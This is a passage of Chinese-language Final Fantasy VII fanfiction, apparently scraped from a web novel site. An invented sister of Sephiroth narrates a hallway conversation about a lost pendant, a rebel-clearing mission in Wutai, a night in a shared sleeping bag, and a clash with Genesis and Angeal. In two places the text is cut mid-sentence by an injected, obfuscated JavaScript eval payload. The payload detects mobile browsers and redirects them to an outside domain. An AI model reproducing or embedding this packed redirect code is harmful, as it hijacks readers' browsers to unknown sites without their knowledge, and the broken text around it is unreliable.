晚上,我泡完了魔晄后,在走廊上看到了坐在外面的萨菲罗斯,他仍然是一身战斗的制服,不知在想些什么。 萨菲罗斯罕见的,陷入了恍惚和思索之间的状态。 格伦,罗森,还有… 母亲的吊坠。 珍惜的东西被踢下坠下山崖,不见踪影,他当时想要做些什么,却又什么都没做,沉默着坐直升机回到了神罗。 脸被掐了一下,他抬起头。 “喂喂,怎么了?” 是她。 母亲的照片,对于他来说是很珍贵的东西。虽然她看起来不是很在意,但萨菲罗斯觉得有必要因为这件事道歉。 “抱歉…我把母亲的照片弄丢了。” 啊?照片? 就是那个他总是宝贵着的,时不时拿起来给我展示的吊坠吗? 我眨了眨眼,掐着他脸颊的手指略微用力:"丢东西而已, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479146|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么好道歉的?" 萨菲罗斯低着头,银色的发丝从他的脸颊滑落。在走廊幽暗的灯光下,他的表情晦暗不明,但我能感觉到他的情绪不太对劲。那双漂亮的绿色眼睛里写满了自责和失落。 "那是很重要的东西。"他轻声说。 "重要的东西多了去了。"我放开他的脸,一屁股在他旁边坐下,"比如我今天刚买的小说,你要看吗?" "......" "还有今天任务的时候摸尸体搜到的钱,我还买了冰淇淋!"我继续说,从口袋里掏出一个包装精美的冰淇淋,"虽然已经有点化了。" 萨菲罗斯终于抬起头看我一眼:"你又去摸尸体了?" "那当然,不然怎么赚钱?"我理所当然地说,"而且那些人都死了,留着钱也没用。" "......" 我把化得半软的冰淇淋塞进他手里:"喏,给你的。反正我今天赚了不少,不差这一个。" 他低头看着手中的冰淇淋,久久没有动作。我正想说些什么,忽然感觉肩膀一沉——萨菲罗斯的头轻轻靠在了我的肩上。 "喂喂,你这是干什么?"我吓了一跳,"不会是中暑了吧?" "......" "该不会是泡魔晄泡傻了?"我伸手摸他的额头,"还是说被人打了?告诉我是谁,我把他干掉。" 我觉得我有义务帮我的兄弟出气。 "......" 他的头发很软,从我的肩膀上滑下来一些。我闻到一股淡淡的魔晄味道,混合着血腥气和尘土的气息。看来他刚从任务回来,连澡都没来得及洗。 "母亲的照片..."他低声说,"也许对你来说不重要,但对我......" 对萨菲罗斯来说,是先前最宝贵的东西。 一开始只是本能的思念,但到后面,他想为自己和她都找到母亲。 有了母亲的话,会更像一个家,而一个家…在书上记载着的,会对孩子带来“美好”的影响。 他想让自己和她都获得那样的幸福,虽然知道是不大可能的。 我眨了眨眼,随后伸出手捏住了他的鼻子,陷入思绪的少年抬起头,抓住我的手,然后,望见了我刻意板起的表情。 明明是柔软带着些许可爱的脸,显露出这样故作成熟的表情,僵硬极了。 “喂喂,你看!怎么样,像吗?” 萨菲罗斯沉默了片刻,望着我笨拙模仿母亲照片的样子。 "不像。"他直白地说。 "啊?"我顿时泄了气,"那你说我哪里不像?" "表情。"他认真地看着我,"照片里,母亲的笑容很温柔。你的笑容..."他停顿了一下,似乎在寻找合适的形容词。 "我很凶吗?"我挑眉。 "不,只是..."他摇摇头,"很独特。" 我哼了一声:"这算是夸我吗?" 萨菲罗斯没有回答,只是低头看着手里那个已经完全化掉的冰淇淋。甜腻的奶油顺着包装纸滴落,在地板上留下一小滩痕迹。 "别发呆了,"我推了推他,"再不吃就要全化掉了。" 他犹豫了一下,拆开包装纸,小心地咬了一口。 "怎么样?" "...太甜了。" "那不是正好吗?"我笑了起来,"你看起来就需要甜的东西。" 萨菲罗斯侧过头看我:"为什么这么说?" "因为你看起来好难过啊。"我耸耸肩,"又是失去重要的东西,又是一个人坐在这里发呆。" "我没有发呆。"他辩解道,"只是在思考。" "思考什么?" "思考...为什么会弄丢那个吊坠。"他的声音低了下来,"如果当时我..." "停停停!"我打断他,"你再这样我就要走了。" 萨菲罗斯愣住了:"为什么?" "因为我讨厌这样。"我直视着他的眼睛,"总是想着''如果''有什么意义?发生的事情已经发生了,再怎么后悔也改变不了。" "但是..." "没有但是。"我斩钉截铁地说,"而且,你不是还有我吗?" 他怔住了,那双魔晄般的眼眸微微睁大。 "你看,"我继续说,"我们不是有一张差不多的脸吗?虽然我笑起来不温柔,但好歹也是家人吧?可以当你半个母亲吗?" 萨菲罗斯注视着我,忽然轻笑出声。 "你笑什么?"我有些恼火。 "没什么。"他摇摇头,语气里带着一丝我从未听过的温和,"只是觉得,你说得对。" "那当然。"我得意地说,"我什么时候说错过?" 他没有接话,只是安静地吃完了那个化掉的冰淇淋。夜色渐深,走廊的灯光变得更加昏暗。我们肩并肩坐在那里,谁都没有说话,却也不觉得尴尬。 过了一会,我从口袋里掏出一本新买的小说。 "喏,"我把书塞给他,"既然你那么喜欢看书,不如看看这个。" 萨菲罗斯接过书,看了看封面:《重生之我在米德加开酒吧》。 "..." "怎么样?"我期待地问,"比你那些无聊的战术书好玩多了吧?" 他认真地翻开第一页,仔细阅读起来。我凑过去,想看看他的表情。 "这个主角..."他皱眉,"为什么会在开酒吧的第一天就遇到神罗总裁?" "这叫巧合!"我解释道,"小说不就是要写这种有趣的事情吗?" "神罗总裁不可能去那种地方。"他一本正经地说,"而且保镖也不会让他独自..." "你够了!"我抢过书,气呼呼地说,"你懂什么呢你!" 萨菲罗斯看着我的反应,嘴角微微上扬:"所以你平时就看这种书?" "怎么了?"我仰起头,"至少比你那些''敌人出现在十点钟方向''的书好看。" "战术手册对实战很有帮助。"他说。 "哈?"我冷笑一声,"那今天是谁把吊坠弄丢的?你的战术手册里有写怎么保护贵重物品吗?" 话音刚落,萨菲罗斯的表情一下子沉了下来。 "对不起。"他低声说。 "喂喂,"我赶紧摆手,"我不是那个意思..." 萨菲罗斯摇摇头:"你说得对,我确实..." "闭嘴!"我直接捂住他的嘴,制止他的复读机行径,"不许你再说对不起!" 4. 第 4 章 下一次的任务是我和他一起。 是很正常的清理反叛者的活动,每当出去的时候,我都会很兴奋。 来到现场的时候,其他特种兵看我和他的眼神很奇怪。 是因为我们两个长得像,还是… “啊,终于要出去了,这次应该是我拿的人头最多吧?” 我在直升机的位置上笑嘻嘻的说着,旁边的萨菲罗斯保持着沉默。 自从上次的事情后,他对他人的态度好像就发生了些许变化。 其他的特种兵坐在离我们有些远的地方,好像是特意避开似的,我正准备走过去跟他们聊聊天(比如给我几百Gil让他们在这次任务摸鱼),就被一旁的少年抓住了手腕。 背后的野太刀稍稍晃了一下,我转过身,疑惑的看着他。 萨菲罗斯的指尖微凉,力道却很轻柔。 我低头看着他握住我手腕的样子,不禁想起那天晚上他靠在我肩上的温度。 从那以后,他似乎变得更加...粘人了? 不对,这个形容不太准确。 不过我也不明白,一下就丢下了这个想法。 "怎么了?"我歪着头问他,"想打架吗?" 萨菲罗斯摇摇头,目光扫过那些刻意避开的特种兵:"不要去打扰他们。" "为什么?我只是想跟他们聊聊天。" "他们在议论我们。" 我竖起耳朵仔细听了听,果然捕捉到了一些窃窃私语:"那两个真的是兄妹吗?""那是神罗的少年英雄吧?居然有妹妹…" 我瞪大了眼睛,发出了疑惑的声音。 “啊?你是英雄?这么帅的名头吗?” 我的声音没有收敛,对面那几人好似被吓了一跳,闭上了嘴。? 我乖乖的坐了回来,然后去扯他的袖子。 “你怎么有这种称号?那我呢?我也有什么名称吗?” 其他特种兵的低语在直升机的轰鸣声中若隐若现。萨菲罗斯没有回答我关于英雄称号的问题,只是默默注视着窗外掠过的云层。机舱内的气氛略显压抑,金属壁板反射着冷白的光。 "喂,不回答就是默认了?"我扯着他的袖子不放,"你什么时候成英雄的?为什么我不知道?" 萨菲罗斯微微侧头,那双莹绿色的眸子里闪过一丝无奈:"只是一个称号而已。" "哪有什么只是称号而已,这可是英雄诶!" 这种称号大多都是主角才有的。 "我也要当英雄!不对,我要当更帅气一些的!" 他没有回答。 "喂,"我不满地晃了晃他的手臂,"不要无视我。" 这时,直升机剧烈晃动了一下。一个不稳,我差点要把脸撞到地上。萨菲罗斯伸出手,稳稳接住,动作自然得仿佛已经预料到了一样。 "风暴区到了,"飞行员的声音从前方传来,"请各位做好准备。" 风暴?我还没见过呢。 我立马探出头,准备往外面看看风暴是什么样的,少年皱了皱眉,掐住我的后颈,将人更往怀里压了压。 金属机身在狂风中发出不堪重负的呻吟。通讯器里传来驾驶员急促的声音:"目标区域已确认,准备强行降落!" 我注意到了外面卷起的狂风,即使是有萨菲罗斯挡着,我也感受到了 "这风很大,你说我们能不能在空中打架?那样一定很帅。" 萨菲罗斯皱眉。 其他特种兵闻言,面面相觑。 这种危险的天气条件下,居然还在想着战斗...不愧是英雄的妹妹。 轰隆—— 一道闪电劈开天际,照亮了机舱内每个人的脸。 在那一瞬的苍白光芒中,萨菲罗斯注意到她眼中跳动的兴奋火花。那是他所不具备的、纯粹的对战斗的热爱。 直升机猛地下坠,她整个人都往前倾。萨菲罗斯收紧手臂,将她牢牢固定在座位上。 "好刺激!"少女抿着唇笑,"不知道下面有多少敌人?我们要比赛吗?" 萨菲罗斯没有接话,只是默默注视着窗外。暴雨模糊了视线,但他仍能看到地面上闪烁的火光——那是叛军的据点。 "指令已下达,"通讯器里传来命令,"清除所有反抗势力,不留活口。" 她立刻坐直了身子:"终于可以打架了!" 萨菲罗斯松开环着她的手,握住正宗的刀柄。其他特种兵也纷纷检查装备,为即将到来的战斗做准备。 直升机在一片荒地上强行降落,激起漫天尘土。暴雨倾盆而下,转眼间就浸透了每个人的制服。 "别乱来。" 萨菲罗斯轻声说,但她已经冲了出去,大太刀在雨幕中划出一道银光。 反叛军的枪声响起,子弹像暴雨般倾泻而来。 刀光穿梭之中,带起阵阵血花和惨叫。 "你们在等什么?"她的声音透过雨幕传来,朦朦胧胧的,听不大真切。 其他特种兵面露犹豫,看向萨菲罗斯。 少年微微点头,他们这才分散开来,开始进攻。 萨菲罗斯抽出正宗,刀身在雨中泛着冷光。他能感觉到其他特种兵的目光——他们在等着看神罗的少年英雄如何行动。 但此刻的他,只是在注视着前方那道肆意张扬的身影。 她的声音隐隐约约,一刀斩断敌人的枪管,躲过子弹后,一条生命消逝。 应该是在说着能不能从敌人身上摸到装备之类的话。 雨水冲刷着血腥。 战场,生命。 少女冲在最前面,拿着那把大太刀,像是不要命一样一股劲的往前冲,冲锋枪的子弹被刀口弹开,有些没有挡住的划破衣领,带出一道血痕。 这股劲,把后面的特种兵都吓了一跳。 萨菲罗斯跟在她身后,一下下的处理掉那些漏网之鱼,或者是暗地里的狙击手。在注意到她又再次冲到最前面突击时,伸出手,想要抓住她。 雨幕中,却只在血水中抓到了一片衣角,银发少女消失在了前方的视野中。 这不是一次简单的任务,在接近五台的基地,有这样一次早有预谋,有相当人数的袭击。 仿佛是战争的前言。 不过现在他思索的不是这个,而是那个暂时消失不见了的身影。 "所有人,保持队形,"他对身后的特种兵下令,声音冷静而低沉,"优先清理外围敌人。" 特种兵们点头,迅速调整阵型。他们对这位少年英雄的服从几乎出于本能,尽管他的年龄远小于他们。 枪声再次响起,火光在雨中短暂闪现,随即被黑暗吞没。萨菲罗斯没有动。他抬起手,轻轻擦去脸上的水渍,目光依旧没有偏移。 一道黑影从左侧冲出,是个持枪的反叛者,试图绕到侧翼偷袭。萨菲罗斯身形一晃。刀锋掠过敌人的喉咙,血水混着雨水洒落,尸体倒地时甚至没有发出太大的声响。他收回刀,动作流畅得像是完成了一次简单的训练。 "她在哪里?"一个特种兵靠近,低声问道。他的语气里带着担忧,"那丫头跑得太快,我们跟不上。" 萨菲罗斯没有回答。他迈开步子,朝战场深处走去。每一步都踩在泥泞中,靴子陷下去又拔出来,发出轻微的咕叽声。雨水浸透了他的制服,贴在身上。 远处传来一声巨响。爆炸的火光撕开雨幕,照亮了一片残破的工事。他停下脚步,眯眼望去。那是魔晄炸弹的效果,炽烈的绿色光芒在空中散开,随后被暴雨压灭。 她的身影在火光中一闪而过,大太刀高举,狠狠劈向某个看不清的敌人。 "找到了!"声音从远处传来,带着几分得意。 战斗的痕迹越来越明显。地上的尸体堆积,有些被砍得支离破碎,有些则是被魔法的余波烧焦。萨菲罗斯经过一具被大太刀劈成两半的尸体时,脚步略微停顿。 那是她的风格——毫不留情,带着某种纯粹的残忍。 "队长,左侧有埋伏!"一个特种兵喊道,声音被风声撕扯得有些失真。 萨菲罗斯侧身一闪,手中正宗迅速上扬。一颗子弹擦着他的肩膀飞过,打在身后的岩石上,溅起碎屑。他回身一刀,斩击划破雨幕,埋伏的狙击手应声倒地,鲜血在泥水中晕开。 他继续前行。 朦胧的声音再次传来,这次更近了:"……跑什么?跑不过我的哈。" 萨菲罗斯抬起头,看到她站在不远处的一片废墟上。 大太刀插在地上,银发少女一手撑着刀柄,另一手随意地擦着脸上的血水。雨水冲刷着她的银发,莹绿色的眸子在昏暗中闪着光,像一只刚狩猎归来的野兽。 耳畔是雨水落地之时,发出的响声 。 ??—— ??抬头之时,四目相对。 ??是萨菲罗斯。 雨水从他银色的发尾滑落,接着,顺着分明的下颚流入制服内的肌肤里,稍稍暗色的背景里,璀璨又发着光的瞳孔让人想起猫科动物,又莫名的会联想到蛇类。 我曾经对比过我和他的眼睛。 几近是一模一样。 真要说差别,大概是他的颜色更深一些,像是高纯度的绿水晶。 “额…” 我咽了口口水。 战斗爽的兴奋消失了不少。 我被他的目光盯得有些发毛。 这种感觉很奇怪。 在这种时候,我才发现,萨菲罗斯好像对我一直都有种压制感。 这种错觉很快就消失了。 "你受伤了。"他低声说。 我这才注意到自己身上的伤口。制服被子弹和剑刃割破好几处,血水混着雨水往下淌。但这种程度的伤对我们来说根本不算什么。 "小伤啦小伤啦!"我轻松地说,"你看,已经在愈合了..." 话还没说完,他就大步走了过来,转眼间就到了我面前。我下意识后退一步,却被他揽住肩膀。 "别动。"他的声音很轻。 萨菲罗斯低头检查我身上的伤口,修长的手指轻轻拂过每一道伤痕。魔晄的光芒在血肉间流转,伤口正以肉眼可见的速度愈合。但他的眉头却越皱越紧。 "喂,真的没事啦!"我推了推他,"你看起来比我还紧张。" 萨菲罗斯没有说话,只是捏了捏我的肩膀。他的力道不重,却让我感觉到一丝不易察觉的颤抖。 远处传来爆炸声。我循声望去,看到火光在雨幕中绽开。战斗还在继续,敌人的数量似乎比预想的要多得多。 "那边好像还有很多敌人!"我兴奋地说,"我们快去..." "不行。" "为什么?" "你需要休息。" 我气结:"都说了没事了!而且你看,那边多热闹..." "不行。"他重复道,声音里带着颤抖,"你已经受了太多伤。" "这叫伤?这点小擦伤连早饭都算不上!"我不满地说,"再说了,我们不是一起来的吗?任务还没完成呢!" 萨菲罗斯沉默了片刻。雨水顺着他的脸颊滑落,在下巴处凝成水珠。 "你..."他顿了顿,"为什么总是这样?" "哪样?" "不在乎自己。"? “不是…我当然在乎自己啊。这些都是小伤,你是不是有些太紧张了?” 雨声在耳边淅淅沥沥地响着,远处的枪声和爆炸声忽然变得模糊起来。 萨菲罗斯注视着我的眼睛,那双绿眸里除了担忧,还有一些我读不懂的东西。 "我..." 话没说完,他突然将我拉近。 我的脸撞在他潮湿的制服上,闻到了雨水、血腥和魔晄混合的气息。他的手臂环着我的肩膀,力道重得让人发疼。 "…我太在乎你了,跟在我后面,好吗?" 他的声音从头顶传来。 最后我被迫乖乖的跟在他身后。 这次任务很快就结束了,暂时的,我们没有被通知回去。 我有种不详的预感,喂喂,不会就在五台这里一直打下去了吧? 我在米德加的零食会过期的啊! 夜晚。 睡袍半湿地贴在身上,我缩在睡袋里,听着外面的雨声。这个临时据点比想象中舒适,至少有热水澡可以洗。 萨菲罗斯躺在对面的睡袋里,银发还带着些许潮。我伸出脚踢了踢他的睡袋:"喂,睡着了吗?" "没有。"他的声音很轻,"有事?" "我在想..."我翻了个身,"为什么我们要在五台待着?任务不是结束了吗?" "情况可能比预想的复杂。"他说,"今天的敌人数量异常。" 我撇撇嘴:"那又怎样?反正都被我们解决了。" "你受伤了。" "都说了是小伤!"我不满地说,"而且早就好了。再说,你不是一直在后面保护我吗?" 萨菲罗斯沉默了片刻:"...我没有及时注意到狙击手。" "哈?你还在想这个?"我又踢了他一脚,"我都说了没事。" 他顿了顿,"我不想看到你受伤。" 雨声渐大,打在窗户上发出哒哒的响声。我缩了缩脖子,突然觉得有点冷。 "喂,"我蹭了蹭睡袋,"这里好冷啊。" 萨菲罗斯转过头看我:"要多盖一条毯子吗?" "不要。"我发表指令,"我要抱着你取暖!" 说着,我拖着睡袋往他那边蹭。 萨菲罗斯微微皱眉:"不行。" 我知道他是什么意思,之前我有次突袭他的宿舍后跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479147|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一起睡,然后把睡梦中的萨菲罗斯踢下了床。 “不是,我那天我是做梦了。你信我,绝对不会发生类似的事情了。” ?"上次你踢我下床的事情,我没有怪你。"他轻声说。 "那你现在怎么一副要把我扔出去的表情?” "因为你的睡相实在太差。" "我保证这次不会了!"我往他那边蹭了蹭,"而且你看,这么冷的天,挤在一起取暖不是很正常吗?" 窗外的雨声渐渐变小,但寒意却在加重。我缩了缩脖子,把自己裹得更紧。萨菲罗斯叹了口气,伸手拉开自己的睡袋拉链。 "过来。" 我眨眨眼:"真的可以?" "在你生病之前。" 我迅速钻进他的睡袋。 这个睡袋本来就不算宽敞,现在挤进两个人更是拥挤。但比起寒冷,这种温暖的感觉让人安心多了。 他的体温很高,可能是魔晄的缘故。我往他怀里拱了拱,找了个舒服的位置,然后又不小心踢到了他,讪讪的往旁边缩了缩。 "你知道吗?"我在他发出质疑前转移话题,"其实今天的战斗很有意思。" "哪里有意思?" "就是看着你在后面收拾那些漏网之鱼的样子。"我笑着说,"感觉好像在跳舞一样。" 萨菲罗斯低头看我:"跳舞?" "对啊,特别漂亮。不过我觉得你下手太轻了,应该..." 他打断我的话,"你为什么总是这么热衷于战斗?" 我愣了一下:"因为...很有趣啊。" "有趣到不惜受伤?" "那不是更刺激吗?"我撇撇嘴,"而且你不是也很享受战斗吗?" 他沉默了片刻:"我不一样。" "哪里不一样?" "我...习惯了。" 这个回答让我有些意外。我抬头看他,发现他正望着远处的黑暗。 "所以说,"我戳了戳他的胸口,"你是因为习惯了才去战斗,而不是因为喜欢?" "......" 稍稍回忆了一下,其实萨菲罗斯没有什么喜欢的东西。 不…或许有。 "我觉得不对。"我继续说,"你明明也很享受,特别是用那把超长的刀的时候。" 萨菲罗斯低下头,银发从肩膀滑落,带着些许潮气的发梢擦过我的脸颊。 "也许吧。"他轻声说。 "那为什么要说''我不一样''?" "因为..."他顿了顿,"你让战斗看起来像是在玩耍。" "本来就是在玩啊。"我打了个哈欠,把头埋进他的颈窝,"不过今天真的有点累。明天还要继续打吗?" "...休息吧。" 我感觉到他的手轻轻放在我的后背,力道轻得像是怕碰碎什么。雨声渐渐变小,只剩下细密的水声敲打着窗户。 "萨菲罗斯。" "嗯?" "你说..."我的声音带着倦意,"为什么我们要呆在这里?" 他沉默片刻:"因为有必要。" "什么必要?" 萨菲罗斯的手指轻轻梳理着我的头发:"不要多想,睡吧。" ?我慢慢的睡着了。 梦中,是一片的黑暗,我不知道为什么,感觉凉飕飕的。 明明好似有暖洋洋的热流包裹着我,却又带着深入骨髓的冷意。 那股寒冷从尾椎骨往上,一节一节的攀升,像是被蛇类鳞片划过的触感,睁大了眼睛,却依然什么都看不到。 “…” 有什么东西在说话吗?叫我的名字? ? ?垂死病中惊坐起。 留存在脑海里最后的,是窒息的感觉,猛的惊醒,我发现萨菲罗斯正死死的抱着我。 …喘不过气了。 梦的内容记得有些含糊不清了,我只记得呼吸不过来,应该是他一直压着我的原因。 伸出手去推搡了一下少年的胸口,发现推不开,于是我想到了阴招,把他那边睡袋的拉链打开,冷风窜入。 他迷迷糊糊的睁开了眼。 ?? "冷…"他低声说,声音带着一丝困倦,"为什么要把拉链打开?" ?? 我控诉:“你差点没把我勒死!” ?萨菲罗斯松开了钳制的手臂,但并没有完全放开我。他的体温透过薄薄的睡衣传来,驱散了些许寒意。 "你做噩梦了。"他说这话时语气平静,带着关切,"你一直在挣扎。" 我揉了揉被他勒得发疼的肋骨:"所以你就打算把我勒死吗?" "我只是在固定你。"他的声音里带着一丝困惑,"你差点把睡袋踢破。" 我这才注意到睡袋确实有些变形,看来梦里的挣扎比我想象的要剧烈得多。寒意顺着拉开的拉链渗入,我打了个哆嗦。 萨菲罗斯叹了口气,伸手想要拉上拉链。我按住他的手:"等等,你保证不会再勒我?" "......"他沉默片刻,"我不能保证。" "什么?" "你在睡梦中的样子..."他停顿了一下,似乎在斟酌措辞,"很不安全。" 我翻了个白眼:"我又不是小孩子了。" "但你确实需要人看着。"他的语气认真得让人想笑,"否则你可能会伤到自己。" 冷风又吹了进来,这次我忍不住往他怀里缩了缩。他的手臂再次环住我,但力道轻了许多。 "说起来,"我打了个哈欠,"你为什么会抱着我?" 萨菲罗斯的身体微微僵硬:"你在发抖。" "就这样?" "......" "喂,回答我啊。" 他低下头,银发从肩膀滑落,轻轻扫过我的脸颊:"你叫我的名字。" "啊?" "在梦里。"他的声音很轻,"你一直在叫我。" 我愣住了。 梦的内容已经变得模糊,只记得那种窒息的感觉和某种冰冷又炙热的触感。但我确实隐约记得自己在呼唤什么人... "所以你就这样抱着我?" "嗯。" "真是的..."我叹了口气,"下次别那么用力啊。" 萨菲罗斯没有说话,只是收紧了手臂。这次的力道刚刚好,既不会让人窒息,又能感受到他的存在。 "睡吧。"他轻声说。 我闭上眼睛,听着他平稳的心跳。那个令人不安的梦似乎已经远去,只剩下此刻的温暖。 等我醒来的时候,我俩的睡袋被我踢破了。 去后勤上交的时候,工作人员看着一个几近崭新的睡袋(原来我的那个),还有一个破破烂烂的睡袋碎片,陷入了沉思。 5. 第 5 章 1992年,神罗因为大肆在偏僻地区扩张魔晄炉,导致了与神罗观念不合的五台人选择开战。 不得不承认,五台是个风景很美的地方。 被战火席卷的风景自然而然地染上了晦暗的色彩,我一贯很喜欢战斗,但我不喜欢一边倒的屠杀,一般对于普通袭击的争斗我都显得兴致缺缺。 萨菲罗斯在外基本不表现出他的情绪,周围略显沉闷的气氛没有太大影响到我的心情,但他是肉眼可见的显得沉默了。 当然,在我身边不是。 又一次解决了一次反咬的袭击,我满身血的把大太刀收起,萨菲罗斯站在我身旁,身上干净的和我仿佛不在一个世界。 “别动。” 男人摁着我,开始熟练的寻找我身上的伤势,我身上的衣服被血水弄湿,黏着在肌肤上,他微微皱眉,用指尖挑开布料后,自然而然的搜索着我经常会受伤的部位—— 果然,侧腰,还有后颈的地方,有着已经结痂的伤口。 首先,我不得不不情愿的承认,萨菲罗斯在生长上的天赋是比我强的。 常年在战场上,如果萨菲罗斯没有偷偷泡魔晄的话(这我不确定),那么他就是靠实力长得比我高了半个头的,之前因为长高还在窃喜的我根本笑不出来了。 而且,他的头发比我还长。 这合理吗? ??? 我觉得我的头发已经不算短,为了方便活动,平时会随意的绑在脑后,而他的身高完全能够撑得起他披散着银发到处乱晃。 总而言之,我现在在研究他的食谱。 “怎么能伤到这里?” 他俯下身,撩起我身后和血污混在一起的发丝,后颈处,那处疤痕现在都快要掉了。 “哎呀,或许是没注意。对了,萨菲罗斯,你中午吃的是什么?” "我吃的是标准配给。"萨菲罗斯淡淡地说,手指轻轻擦过我后颈的伤痕,"你又在打什么主意?" 呵呵,我才不相信,你绝对嗑药了。 "没什么,就是好奇。"我装作若无其事的样子,"话说回来,这伤口真的没什么大不了的,你看,都快好了。" 他的手指停在我的后颈,微凉的触感让我忍不住缩了缩脖子。见我不舒服的模样,萨菲罗斯重新戴上手套,动作优雅而从容。手套的皮革摩擦着掌心,发出细微的声响。 “你总是这样。” 萨菲罗斯的声音里带着一丝不悦,手指依然停留在我的后颈。 "什么样?"我自信的发问,"英勇无畏、所向披靡的样子吗?" “……” 他一时之间没有回答。 回去的路上,我衣服上的血已经干的差不多了,凝固在皮肤上,有些不舒服,于是垂头丧气的,萨菲罗斯见状,只是摸了摸我的脑袋。 “不要老是摸我的头啊!可恶,可能就是因为这样才会长不高……” “原来你最近都在考虑这么无聊的事情吗?” "喂,这才不无聊呢!“我抗议道,”这关系到我的身高问题!“ “你的身高很好。"他说,"正好适合我保护。" 这句话让我差点被自己的口水呛到:“什么?你刚才说什么?" 转过头,我瞥见了他那一副理所当然的模样,偏偏我现在看起来像个从尸堆里爬出来的流浪汉,而他优雅完美的正是“战场英雄”。 什么,难道我会感动吗? 呵呵…… “你是看不起我吗,萨菲罗斯,明明我也可以保护你。” 这话不假,在战场上人头拿的最多的就是我,在队友们深陷道德/人性/阴谋考验的时候,我已经不管三七二十一的砍过去了,效率比听命行事的萨菲罗斯高不少。 由此,我和他也成为了神罗军队内最显然的对照组。 光明磊落,完美冷静的“英雄”,和他不择手段,阴险狡诈(我觉得这个形容词有些太过分了)的“怪物”妹妹。 呵呵,我倒是无所谓,主角总是会被误解的。 回到了基地,因为一路的推进,我们已经与另一边的部队汇合,由此也遇见了和我还有萨菲罗斯共称为1st的两人。 说实话,此刻的偶遇是有些尴尬的,我看起来像是才屠城归来,而且因为想要给萨菲罗斯剃头未遂,大太刀惨遭没收——看起来我就像是被押送的犯人一样。 对面深红色头发的男人看到萨菲罗斯前一秒,稍稍瞪大了眼睛,随后咳了咳,敛去神色后,拉着旁边的黑毛男人往这边走过来。 1st都有自己定制的服装,比如对面的深红毛就是一身红色长风衣,而黑毛比较朴实的穿着战斗服,萨菲罗斯是黑色的排扣大衣和银色的肩甲,我给我自己选的是—— 不知道。 一开始我也是很认真的设计过我的战斗服的!但是打着打着,我的外套就不见了,所以干脆就穿的是每天一换的训练制服,而且不熟悉我的敌人(现在估计已经没有了)会把我当作好欺负的小兵,这种时候我可以体验到小说里扮猪吃虎的爽感。 但是现在我是真的不爽了,比如面前这个红毛显露出那种惊讶带着思索的表情,在我和萨菲罗斯间扫视后,开口。 “是要押送去哪呢?” 呵呵。 安吉尔拉了拉友人的手臂,因为此刻,那被男人抓着的少女显露出了十分危险的神色,接着没等他们说些什么,她就准备猛地冲上来——但却被英雄抓住,她被半拎起,在空中摇晃着手,发出愤怒的声音。 “你什么意思?红毛你完了。” 杰内西斯盯着眼前这个被萨菲罗斯拎在空中、不断挣扎的银发少女,眼中闪过一丝惊讶。这张与传奇英雄有些许相似的面容,却展现出截然不同的神态 -——此刻正充满着毫不掩饰的怒意。 "放开我!我要让他知道什么叫做尊重!"少女扭动着身体,试图挣脱萨菲罗斯的钳制。她的制服上沾满血迹和尘土,看上去确实像个刚从战场上被押解回来的囚犯。 安吉尔上前一步,试图缓和气氛:"冷静点,这位是..." "我知道他是谁,"她打断道,"就是那个整天背着破书到处晃悠的红毛。" 杰内西斯的眉头微微一跳:"《LOVELESS》可不是什么''破书''。"他的声音带着一丝危险的意味,"倒是你,看起来像是刚从屠宰场回来。" 萨菲罗斯叹了口气,却依然没有放开她:"杰内西斯,这是我妹妹。" 空气突然安静了。 安吉尔的表情像是被人打了一拳:"等等,什么?" 杰内西斯则是若有所思地打量着这对兄妹:"啊,这就说得通了...《LOVELESS》中第五幕也提到过:''相似的灵魂终将相遇...''" "闭嘴!"少女怒吼,"你再念一句诗试试看!" "真是粗鲁。"杰内西斯轻笑,"不过我倒是好奇,萨菲罗斯,你从来没提过..." 在之前的任务里,他们曾与萨菲罗斯合作过,关系目前说得上不错。 "因为没有这个必要。"萨菲罗斯平静地说,同时巧妙地避开了妹妹踢过来的一脚。 安吉尔看着这诡异的一幕,觉得自己的世界观受到了严重冲击。 "我说,"他试探性地开口,"也许我们应该先让她冷静下来?" "不需要。"萨菲罗斯说着,终于将妹妹放了下来。但他的手依然按在她的肩膀上,防止她扑向杰内西斯。 少女整了整衣服,恶狠狠地瞪着杰内西斯:"你最好记住,我不是什么囚犯,我是因为..."她突然停住,眼睛一亮,"等等,既然你们也是1st,那应该很强吧?" 这个突然的转变让所有人都愣了一下。 "当然,"杰内西斯优雅地挥了挥手,"我们可是..." "太好了!"她兴奋地说,"来打一架吧!" 安吉尔:"......" 杰内西斯:"......" 萨菲罗斯揉了揉太阳穴:"不行。" "为什么!"她抗议道,"我保证不会把他打得太惨。" "你确定不是被打得太惨?"杰内西斯挑眉。 下一秒,一把不知道从哪里掏出来的小刀擦着他的脸飞过,切断了几缕红发。 "你!"杰内西斯大怒,正要拔剑,却被安吉尔拦住。 萨菲罗斯叹了口气,再次将暴躁的妹妹提了起来:"抱歉,她有时候控制不住自己。" "我看出来了。"安吉尔干巴巴地说。 杰内西斯整理了一下被切断的头发,突然笑了:"有意思。萨菲罗斯,你的妹妹比你有趣多了。" "那是当然!"少女叉着腰大笑一声,"我比他厉害多了!" 萨菲罗斯看着她:"所以你今天是想被关禁闭吗?" "......"她立刻安静下来。 